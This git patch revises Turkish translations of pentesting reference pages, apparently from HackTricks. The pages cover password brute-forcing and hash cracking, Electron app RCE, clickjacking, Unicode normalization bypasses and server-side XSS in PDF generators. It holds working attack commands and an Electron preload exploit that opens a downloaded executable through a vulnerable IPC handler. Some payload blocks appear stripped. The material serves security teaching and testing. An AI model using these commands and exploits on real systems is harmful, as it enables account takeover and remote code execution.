From ea3a5b75e587d9b96c5d406f41364d1594f3216b Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 9 Mar 2025 14:22:30 +0000 Subject: [PATCH] Translated ['src/generic-hacking/brute-force.md', 'src/network-services- --- src/generic-hacking/brute-force.md | 39 +++++---- .../electron-desktop-apps/README.md | 81 ++++++++++++------- src/pentesting-web/clickjacking.md | 28 ++++--- .../unicode-normalization.md | 34 +++++--- .../server-side-xss-dynamic-pdf.md | 51 ++++++++---- 5 files changed, 147 insertions(+), 86 deletions(-) diff --git a/src/generic-hacking/brute-force.md b/src/generic-hacking/brute-force.md index 805909c7e..710b2c5b3 100644 --- a/src/generic-hacking/brute-force.md +++ b/src/generic-hacking/brute-force.md @@ -4,7 +4,7 @@ ## Varsayılan Kimlik Bilgileri -**Kullanılan teknolojinin** varsayılan kimlik bilgilerini **google'da arayın** veya **bu bağlantıları deneyin**: +**Kullanılan teknolojinin** varsayılan kimlik bilgilerini google'da arayın veya **bu bağlantıları deneyin**: - [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) - [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) @@ -34,19 +34,26 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` -### Cewl +### Web Sitesine Dayalı Kelime Listeleri ```bash +# Cewl gets words from the victims page cewl example.com -m 5 -w words.txt + +# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs +cat /path/to/urls.txt | tok + +# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs +cat /path/to/js-urls.txt | python3 getjswords.py ``` ### [CUPP](https://github.com/Mebus/cupp) -Kurban hakkındaki bilginize (isimler, tarihler...) dayalı şifreler oluşturun. +Kurban hakkında bildiklerinize (isimler, tarihler...) dayalı şifreler oluşturun. ``` python3 cupp.py -h ``` ### [Wister](https://github.com/cycurity/wister) -Belirli bir hedefle ilgili kullanılacak benzersiz ve ideal bir kelime listesi oluşturmanıza olanak tanıyan, bir dizi kelime sağlamanızı sağlayan bir kelime listesi oluşturucu aracıdır. Verilen kelimelerden birden fazla varyasyon oluşturma imkanı sunar. +Bir kelime listesi oluşturucu aracı, size bir dizi kelime sağlamanıza olanak tanır, verilen kelimelerden birden fazla varyasyon oluşturma imkanı sunarak belirli bir hedefle ilgili kullanılacak benzersiz ve ideal bir kelime listesi oluşturur. ```bash python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst @@ -271,7 +278,7 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt ``` -**oracle_login**'ı **patator** ile kullanmak için **kurmanız** gerekiyor: +**oracle_login**'ı **patator** ile kullanmak için **kurmanız** gerekir: ```bash pip3 install cx_Oracle --upgrade ``` @@ -395,11 +402,11 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ ``` #### Zayıf SSH anahtarları / Debian tahmin edilebilir PRNG -Bazı sistemler, kriptografik materyal oluşturmak için kullanılan rastgele tohumda bilinen hatalara sahiptir. Bu, [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) gibi araçlarla zorlanabilecek dramatik şekilde azaltılmış bir anahtar alanına yol açabilir. Ayrıca, [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) gibi önceden oluşturulmuş zayıf anahtar setleri de mevcuttur. +Bazı sistemler, kriptografik materyal oluşturmak için kullanılan rastgele tohumda bilinen hatalara sahiptir. Bu, [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) gibi araçlarla zorlanabilen dramatik şekilde azaltılmış bir anahtar alanına yol açabilir. Ayrıca, [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) gibi önceden oluşturulmuş zayıf anahtar setleri de mevcuttur. ### STOMP (ActiveMQ, RabbitMQ, HornetQ ve OpenMQ) -STOMP metin protokolü, **RabbitMQ, ActiveMQ, HornetQ ve OpenMQ gibi popüler mesaj kuyruklama hizmetleriyle kesintisiz iletişim ve etkileşim sağlar**. Mesajları değiştirmek ve çeşitli mesajlaşma işlemleri gerçekleştirmek için standartlaştırılmış ve verimli bir yaklaşım sunar. +STOMP metin protokolü, **RabbitMQ, ActiveMQ, HornetQ ve OpenMQ gibi popüler mesaj kuyruklama hizmetleriyle kesintisiz iletişim ve etkileşim sağlar.** Mesajları değiştirmek ve çeşitli mesajlaşma işlemleri gerçekleştirmek için standartlaştırılmış ve verimli bir yaklaşım sunar. ```bash legba stomp --target localhost:61613 --username admin --password data/passwords.txt ``` @@ -442,8 +449,8 @@ crackmapexec winrm -d -u usernames.txt -p passwords.txt ### Çevrimiçi kırma veritabanları - [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1) -- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 ile/olmaksızın ESS/SSP ve herhangi bir zorluk değeri ile) -- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashler, WPA2 yakalamaları ve MSOffice, ZIP, PDF arşivleri...) +- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 ESS/SSP ile/olmaksızın ve herhangi bir zorluk değeri ile) +- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashler, WPA2 yakalamaları ve MSOffice, ZIP, PDF... arşivleri) - [https://crackstation.net/](https://crackstation.net) (Hashler) - [https://md5decrypt.net/](https://md5decrypt.net) (MD5) - [https://gpuhash.me/](https://gpuhash.me) (Hashler ve dosya hashleri) @@ -453,7 +460,7 @@ crackmapexec winrm -d -u usernames.txt -p passwords.txt - [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) - [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) -Bir Hash'i brute force denemeden önce bunu kontrol edin. +Bir Hash'ı brute force denemeden önce bunu kontrol edin. ### ZIP ```bash @@ -473,8 +480,8 @@ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt ``` #### Bilinen düz metin zip saldırısı -Şifreli zip içinde bulunan bir dosyanın **düz metnini** (veya düz metnin bir kısmını) bilmeniz gerekir. Şifreli zip içinde bulunan **dosya adlarını ve dosyaların boyutunu** kontrol etmek için şunu çalıştırabilirsiniz: **`7z l encrypted.zip`**\ -[**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)indirin. +Şifreli zip içinde bulunan bir dosyanın **düz metnini** (veya düz metnin bir kısmını) bilmeniz gerekir. Şifreli zip içinde bulunan **dosya adlarını ve dosyaların boyutunu** kontrol etmek için: **`7z l encrypted.zip`** komutunu çalıştırabilirsiniz.\ +[**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) indirin. ```bash # You need to create a zip file containing only the file that is inside the encrypted zip zip plaintext.zip plaintext.file @@ -508,7 +515,7 @@ qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` ### PDF Sahibi Parolası -Bir PDF sahibi parolasını kırmak için bunu kontrol edin: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) +Bir PDF sahibi parolasını kırmak için şunu kontrol edin: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) ### JWT ```bash @@ -585,7 +592,7 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash ### Open Office Pwd Protected Column -Eğer bir şifre ile korunan bir sütun içeren bir xlsx dosyanız varsa, onu korumasını kaldırabilirsiniz: +Eğer bir şifre ile korunan bir sütunu olan bir xlsx dosyanız varsa, onu korumasını kaldırabilirsiniz: - **Google Drive'a yükleyin** ve şifre otomatik olarak kaldırılacaktır - **Manuel olarak kaldırmak için**: @@ -626,7 +633,7 @@ hash-identifier ```bash kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt ``` -### John mutasyonu +### John mutation _**/etc/john/john.conf**_ dosyasını okuyun ve yapılandırın. ```bash @@ -689,7 +696,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1 ## Use it to crack the password hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask ``` -- Kelime listesi + Maske (`-a 6`) / Maske + Kelime listesi (`-a 7`) saldırısı +- Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`) saldırısı ```bash # Mask numbers will be appended to each word in the wordlist hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 38ac231ff..d8b1e7343 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -19,8 +19,8 @@ Electron uygulamasının kaynak kodunda, `packet.json` içinde güvenlik yapıla ``` Electron'ın 2 işlem türü vardır: -- Ana İşlem (NodeJS'ye tam erişime sahiptir) -- Render İşlemi (güvenlik nedenleriyle NodeJS'ye kısıtlı erişime sahip olmalıdır) +- Ana İşlem (NodeJS'ye tam erişimi vardır) +- Render İşlemi (güvenlik nedenleriyle NodeJS erişimi kısıtlanmalıdır) ![](<../../../images/image (182).png>) @@ -34,7 +34,7 @@ win.loadURL(`file://path/to/index.html`) ``` **renderer process** ayarları **main.js** dosyası içinde **main process**'te **yapılandırılabilir**. Bazı yapılandırmalar, **ayarlar doğru bir şekilde yapılandırıldığında** Electron uygulamasının RCE veya diğer güvenlik açıklarını **önlemesine** yardımcı olacaktır. -Electron uygulaması, Node API'leri aracılığıyla **cihazı erişebilir**, ancak bunu önlemek için yapılandırılabilir: +Electron uygulaması, Node apileri aracılığıyla **cihazı erişebilir**, ancak bunu önlemek için yapılandırılabilir: - **`nodeIntegration`** - varsayılan olarak `kapalıdır`. Açık olduğunda, renderer process'ten node özelliklerine erişime izin verir. - **`contextIsolation`** - varsayılan olarak `açıktır`. Kapalı olduğunda, main ve renderer süreçleri izole edilmez. @@ -42,7 +42,7 @@ Electron uygulaması, Node API'leri aracılığıyla **cihazı erişebilir**, an - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - varsayılan olarak kapalıdır. NodeJS'in gerçekleştirebileceği eylemleri kısıtlar. - Workers'da Node Entegrasyonu - **`nodeIntegrationInSubframes`** - varsayılan olarak kapalıdır. -- Eğer **`nodeIntegration`** **etkinleştirilirse**, bu, Electron uygulaması içinde **iframe'lerde** yüklü web sayfalarında **Node.js API'lerinin** kullanılmasına izin verir. +- Eğer **`nodeIntegration`** **etkinleştirilirse**, bu, Electron uygulaması içinde **iframe'lerde yüklenen** web sayfalarında **Node.js API'lerinin** kullanılmasına izin verir. - Eğer **`nodeIntegration`** **devre dışı bırakılırsa**, o zaman preloads iframe içinde yüklenecektir. Yapılandırma örneği: @@ -111,7 +111,7 @@ Eğer yerel olarak bir Electron Uygulamasını çalıştırabiliyorsanız, muhte ## RCE: XSS + nodeIntegration -Eğer **nodeIntegration** **açık** olarak ayarlandıysa, bir web sayfasının JavaScript'i Node.js özelliklerini kolayca `require()` çağrısı yaparak kullanabilir. Örneğin, Windows'ta calc uygulamasını çalıştırmanın yolu: +Eğer **nodeIntegration** **açık** olarak ayarlandıysa, bir web sayfasının JavaScript'i Node.js özelliklerini kolayca kullanabilir, sadece `require()` çağrısı yaparak. Örneğin, Windows'ta calc uygulamasını çalıştırmanın yolu: ```html ``` +## RCE: webviewTag + vulnerable preload IPC + shell.openExternal + +Bu zafiyet **[bu raporda](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** bulunabilir. + +**webviewTag**, **NodeJS**'in **renderer process** içinde kullanılmasına izin veren **kullanımdan kaldırılmış bir özelliktir**, bu da preload bağlamında bir script yüklenmesine olanak tanıdığı için devre dışı bırakılmalıdır: +```xml + +``` +Bu nedenle, rastgele bir sayfayı yüklemeyi başaran bir saldırgan, o etiketi kullanarak **rastgele bir ön yükleme betiği** yükleyebilir. + +Bu ön yükleme betiği daha sonra **RCE elde etmek için `shell.openExternal`** çağrısı yapan **kırılgan IPC servisini (`skype-new-window`)** çağırmak için istismar edildi: +```javascript +(async() => { +const { ipcRenderer } = require("electron"); +await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH"); +setTimeout(async () => { +const username = process.execPath.match(/C:\\Users\\([^\\]+)/); +await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`); +}, 5000); +})(); +``` ## İç Dosyaları Okuma: XSS + contextIsolation -**`contextIsolation`'ı devre dışı bırakmak, yerel dosyaları okumak ve dışa aktarmak için `` etiketlerinin kullanılmasına olanak tanır**, ` ``` -`allow-forms` ve `allow-scripts` değerleri, iframe içinde eylemleri etkinleştirirken üst düzey navigasyonu devre dışı bırakır. Hedeflenen sitenin istenen işlevselliğini sağlamak için, saldırı türüne bağlı olarak `allow-same-origin` ve `allow-modals` gibi ek izinler gerekli olabilir. Tarayıcı konsol mesajları, hangi izinlerin verilmesi gerektiği konusunda rehberlik edebilir. +`allow-forms` ve `allow-scripts` değerleri, üst düzey navigasyonu devre dışı bırakırken iframe içindeki eylemleri etkinleştirir. Hedeflenen sitenin istenen işlevselliğini sağlamak için, saldırı türüne bağlı olarak `allow-same-origin` ve `allow-modals` gibi ek izinler gerekli olabilir. Tarayıcı konsol mesajları, hangi izinlerin verilmesi gerektiği konusunda rehberlik edebilir. ### Sunucu Tarafı Savunmaları @@ -176,20 +178,20 @@ Bu politika, aynı kökenden (self) ve https://trusted-website.com adresinden ge **Kullanım Notları:** - Kullanımdan Kaldırma: child-src, frame-src ve worker-src lehine aşamalı olarak kaldırılmaktadır. -- Yedek Davranış: Eğer frame-src yoksa, çerçeveler için yedek olarak child-src kullanılır. Her ikisi de yoksa, default-src kullanılır. +- Yedek Davranış: Eğer frame-src yoksa, child-src çerçeveler için yedek olarak kullanılır. Her ikisi de yoksa, default-src kullanılır. - Sıkı Kaynak Tanımı: Sömürüyü önlemek için direktiflerde yalnızca güvenilir kaynaklar dahil edilmelidir. #### JavaScript Çerçeve Kırma Scriptleri -Tamamen güvenilir olmasa da, bir web sayfasının çerçevelenmesini önlemek için JavaScript tabanlı çerçeve kırma scriptleri kullanılabilir. Örnek: +Tamamen güvenilir olmasa da, JavaScript tabanlı çerçeve kırma scriptleri, bir web sayfasının çerçevelenmesini önlemek için kullanılabilir. Örnek: ```javascript if (top !== self) { top.location = self.location } ``` -#### Anti-CSRF Token'ların Kullanımı +#### Anti-CSRF Tokenlarının Kullanımı -- **Token Doğrulama:** Web uygulamalarında anti-CSRF token'ları kullanarak, durum değiştiren isteklerin kullanıcının kasıtlı olarak yapıldığından ve Clickjacked bir sayfa aracılığıyla yapılmadığından emin olun. +- **Token Doğrulama:** Web uygulamalarında, durum değiştiren isteklerin kullanıcının kasıtlı olarak yapıldığından emin olmak için anti-CSRF tokenları kullanın ve Clickjacked bir sayfa aracılığıyla yapılmadığını kontrol edin. ## Referanslar diff --git a/src/pentesting-web/unicode-injection/unicode-normalization.md b/src/pentesting-web/unicode-injection/unicode-normalization.md index 8365187c5..5512d73b6 100644 --- a/src/pentesting-web/unicode-injection/unicode-normalization.md +++ b/src/pentesting-web/unicode-injection/unicode-normalization.md @@ -2,28 +2,28 @@ {{#include ../../banners/hacktricks-training.md}} -**Bu, şunun bir özetidir:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Daha fazla ayrıntı için kontrol edin (görüntüler oradan alınmıştır). +**Bu, şunun bir özetidir:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Daha fazla detay için göz atın (görüntüler oradan alınmıştır). ## Unicode ve Normalizasyonu Anlamak -Unicode normalizasyonu, karakterlerin farklı ikili temsillerinin aynı ikili değere standartlaştırılmasını sağlayan bir süreçtir. Bu süreç, programlama ve veri işleme sırasında dizelerle başa çıkmak için kritik öneme sahiptir. Unicode standardı, iki tür karakter eşdeğerliğini tanımlar: +Unicode normalizasyonu, karakterlerin farklı ikili temsillerinin aynı ikili değere standartlaştırılmasını sağlayan bir süreçtir. Bu süreç, programlama ve veri işleme sırasında dizelerle çalışırken kritik öneme sahiptir. Unicode standardı, iki tür karakter eşdeğerliliği tanımlar: -1. **Kanonik Eşdeğerlik**: Karakterler, yazıldığında veya görüntülendiğinde aynı görünüme ve anlama sahiplerse kanonik olarak eşdeğer kabul edilir. -2. **Uyumluluk Eşdeğerliği**: Karakterlerin aynı soyut karakteri temsil edebileceği ancak farklı şekilde görüntülenebileceği daha zayıf bir eşdeğerlik biçimidir. +1. **Kanonik Eşdeğerlilik**: Karakterler, yazıldığında veya görüntülendiğinde aynı görünüme ve anlama sahip olduklarında kanonik olarak eşdeğer kabul edilir. +2. **Uyumluluk Eşdeğerliliği**: Karakterlerin aynı soyut karakteri temsil edebileceği ancak farklı şekilde görüntülenebileceği daha zayıf bir eşdeğerlilik biçimidir. **Dört Unicode normalizasyon algoritması** vardır: NFC, NFD, NFKC ve NFKD. Her algoritma, kanonik ve uyumluluk normalizasyon tekniklerini farklı şekilde kullanır. Daha derin bir anlayış için bu teknikleri [Unicode.org](https://unicode.org/) adresinde keşfedebilirsiniz. ### Unicode Kodlama Üzerine Ana Noktalar -Unicode kodlamasını anlamak, özellikle farklı sistemler veya diller arasında birlikte çalışabilirlik sorunlarıyla başa çıkarken çok önemlidir. İşte ana noktalar: +Unicode kodlamasını anlamak, özellikle farklı sistemler veya diller arasında birlikte çalışabilirlik sorunlarıyla uğraşırken çok önemlidir. İşte ana noktalar: - **Kod Noktaları ve Karakterler**: Unicode'da, her karakter veya sembole "kod noktası" olarak bilinen bir sayısal değer atanır. - **Bayt Temsili**: Kod noktası (veya karakter), bellekte bir veya daha fazla bayt ile temsil edilir. Örneğin, LATIN-1 karakterleri (İngilizce konuşulan ülkelerde yaygın) bir bayt kullanılarak temsil edilir. Ancak, daha büyük bir karakter setine sahip diller, temsil için daha fazla bayta ihtiyaç duyar. -- **Kodlama**: Bu terim, karakterlerin bir dizi bayta nasıl dönüştürüldüğünü ifade eder. UTF-8, ASCII karakterlerinin bir bayt kullanılarak ve diğer karakterler için dört bayta kadar temsil edildiği yaygın bir kodlama standardıdır. +- **Kodlama**: Bu terim, karakterlerin bir dizi bayta nasıl dönüştürüldüğünü ifade eder. UTF-8, ASCII karakterlerinin bir bayt kullanılarak temsil edildiği ve diğer karakterler için dört bayta kadar kullanılan yaygın bir kodlama standardıdır. - **Veri İşleme**: Veri işleyen sistemlerin, bayt akışını karakterlere doğru bir şekilde dönüştürmek için kullanılan kodlamanın farkında olması gerekir. -- **UTF Varyantları**: UTF-8'in yanı sıra, en az 2 bayt (maksimum 4) kullanan UTF-16 ve tüm karakterler için 4 bayt kullanan UTF-32 gibi diğer kodlama standartları da vardır. +- **UTF Varyantları**: UTF-8 dışında, en az 2 bayt (maksimum 4) kullanan UTF-16 ve tüm karakterler için 4 bayt kullanan UTF-32 gibi diğer kodlama standartları da vardır. -Unicode'un karmaşıklığı ve çeşitli kodlama yöntemlerinden kaynaklanan potansiyel sorunları etkili bir şekilde ele almak ve hafifletmek için bu kavramları anlamak çok önemlidir. +Unicode'un karmaşıklığı ve çeşitli kodlama yöntemlerinden kaynaklanan potansiyel sorunları etkili bir şekilde ele almak ve hafifletmek için bu kavramları anlamak kritik öneme sahiptir. Unicode'un aynı karakteri temsil eden iki farklı baytı nasıl normalleştirdiğine dair bir örnek: ```python @@ -33,7 +33,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch ### Keşif -Eğer bir web uygulamasında geri dönen bir değer bulursanız, **‘KELVIN SIGN’ (U+0212A)** göndermeyi deneyebilirsiniz ki bu **"K"** olarak **normalleşir** (bunu `%e2%84%aa` olarak gönderebilirsiniz). **Eğer bir "K" geri dönerse**, o zaman bir tür **Unicode normalizasyonu** gerçekleştiriliyor demektir. +Eğer bir web uygulamasında geri dönen bir değer bulursanız, **‘KELVIN SIGN’ (U+0212A)** göndermeyi deneyebilirsiniz ki bu **"K"** olarak **normalleşir** (bunu `%e2%84%aa` olarak gönderebilirsiniz). **Eğer bir "K" geri dönerse**, o zaman bir tür **Unicode normalizasyonu** gerçekleştirilmektedir. Diğer **örnek**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` **unicode** sonrasında `Leonishan` olur. @@ -85,20 +85,30 @@ Web uygulamasını kandırmak ve bir XSS istismar etmek için aşağıdaki karak ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>) -Örneğin, önerilen ilk Unicode karakteri şu şekilde gönderilebilir: `%e2%89%ae` veya `%u226e` +Örneğin, önerilen ilk Unicode karakteri `%e2%89%ae` veya `%u226e` olarak gönderilebilir. ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>) ### Fuzzing Regexes -Arka uç **kullanıcı girişini bir regex ile kontrol ediyorsa**, **girişin** **regex** için **normalize** ediliyor olması mümkün, ancak **kullanıldığı yer için** **değil**. Örneğin, bir Open Redirect veya SSRF'de regex, gönderilen URL'yi **normalize** ediyor olabilir ama sonra **olduğu gibi** erişiyor olabilir. +Arka uç **kullanıcı girişini bir regex ile kontrol ediyorsa**, **girişin** **regex** için **normalize** ediliyor olması ama **kullanıldığı yer için** **değil** olması mümkün olabilir. Örneğin, bir Open Redirect veya SSRF'de regex, gönderilen URL'yi **normalize** ediyor olabilir ama sonra **olduğu gibi** erişiyor olabilir. -Araç [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* arka ucu fuzzlamak için **girişin varyasyonlarını** **üretmeye** olanak tanır. Daha fazla bilgi için **github** ve bu [**gönderiyi**](https://0xacb.com/2022/11/21/recollapse/) kontrol edin. +Araç [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* arka ucu fuzzlamak için **girişin varyasyonlarını** **üretmeye** olanak tanır. Daha fazla bilgi için **github** ve bu [**gönderiye**](https://0xacb.com/2022/11/21/recollapse/) bakın. + +## Unicode Taşması + +Bu [blogdan](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows), bir baytın maksimum değeri 255'tir, eğer sunucu savunmasızsa, belirli ve beklenmedik bir ASCII karakteri üretmek için bir taşma oluşturulabilir. Örneğin, aşağıdaki karakterler `A`'ya dönüştürülecektir: + +- 0x4e41 +- 0x4f41 +- 0x5041 +- 0x5141 ## Referanslar - [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/) - [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work) - [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html) +- [https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md index aee21f73d..16da8ecd9 100644 --- a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md +++ b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md @@ -1,28 +1,28 @@ -# Sunucu Tarafı XSS (Dinamik PDF) +# Server Side XSS (Dynamic PDF) {{#include ../../banners/hacktricks-training.md}} -## Sunucu Tarafı XSS (Dinamik PDF) +## Server Side XSS (Dynamic PDF) -Eğer bir web sayfası kullanıcı kontrolündeki girdileri kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan **botu kandırmayı** deneyebilirsiniz ve **keyfi JS kodu çalıştırmasını** sağlayabilirsiniz.\ -Yani, eğer **PDF oluşturucu bot** bazı **HTML** **etiketleri** bulursa, bunları **yorumlayacaktır** ve bu davranışı **istismar** ederek bir **Sunucu XSS** oluşturabilirsiniz. +Eğer bir web sayfası kullanıcı kontrolündeki girdileri kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan **botu** **keyfi JS kodu çalıştırması için kandırmayı** deneyebilirsiniz.\ +Yani, eğer **PDF oluşturucu bot bazı** **HTML** **etiketleri** bulursa, bunları **yorumlayacaktır** ve bu davranışı **istismar** ederek bir **Server XSS** oluşturabilirsiniz. Lütfen, `` etiketlerinin her zaman çalışmadığını unutmayın, bu yüzden JS'yi çalıştırmak için farklı bir yöntem kullanmanız gerekecek (örneğin, ` + @@ -32,10 +32,26 @@ Ayrıca, normal bir istismar durumunda oluşturulan PDF'yi **görebilir/indirebi + + + + + + + + + + + + +